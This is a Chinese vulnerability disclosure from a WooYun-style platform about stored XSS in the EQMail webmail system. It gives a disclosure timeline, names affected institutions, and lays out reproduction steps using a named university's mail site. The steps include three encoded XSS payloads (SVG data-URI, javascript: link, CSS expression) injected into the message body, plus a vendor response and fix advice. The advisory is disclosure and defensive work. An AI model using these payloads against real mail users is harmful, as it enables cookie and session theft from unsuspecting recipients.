EQMail电子邮件系统存储型XSS漏洞(涉及多所大学,知名企业以及政府部门)

漏洞详情

披露状态:

2014-02-22: 细节已通知厂商并且等待厂商处理中
2014-02-27: 厂商已经确认,细节仅向厂商公开
2014-03-02: 细节向第三方安全合作伙伴开放
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-04-08: 细节向实习白帽子公开
2014-05-23: 细节向公众公开

简要描述:

对邮件正文的过滤不严格导致恶意XSS代码植入

详细说明:

正在使用这套邮件系统的网站应该都会受到影响,受影响单位包括但不限于:

http://www.eqmail.net/kehu.html

下面以正在使用这套邮件系统的西安交通大学的为例,提供详细测试步骤:

http://stu.xjtu.edu.cn/

点击写信后,填写目标用户邮箱以及邮件标题,开启firefox插件tamper data进行抓包。(邮件内容可不填写)。在点击发送后,在tamper data抓到的包当中修改下图中messagehtml的值

0.png



为(这里以一个只在firefox下有效的方法为例,后面会附上其它方法):

%3Csvg%3E
%3Cuse%0cxlink:href="data:image/svg%2bxml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI%2b
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8%2bDQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc%2b#rectangle"%0c/%3E%3C/svg%3E



并完成邮件发送,当目标用户打开邮件时,即可触发。实际测试当中可窃取目标用户的cookies。

由于邮件系统对event handler做了比较完善的过滤处理,所以对于其它浏览器环境只能提供一些需要用户交互的方法,测试步骤和上面的相同只需将htmlmesage的内容替换为下面的值

方法2 测试于IE10,11 firefox27 chrome33

%3Csvg%3E%3Ca%0cxlink:href="javascript:alert(56)"%3E%3Crect%0cwidth="100%"%0cheight="100%"%0cfill="black"/%3E%3C/a%3E%3C/svg%3E



当目标用户点击邮件中黑色的部分,即可触发XSS。实际攻击过程当中可以对点击区域的部分进行适当的调节,来提高命中率。

方法3 测试于IE6,7,8,9

%3Cdiv%0cstyle="z:expression(alert(1))"%3E



用户后查看邮件后触发,无须用户交互

漏洞证明:

final.png

修复方案:

对于邮件正文中可能出现的恶业代码进行针对性过滤。



版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-02-27 08:30

厂商回复:

最新状态:

暂无


漏洞评价: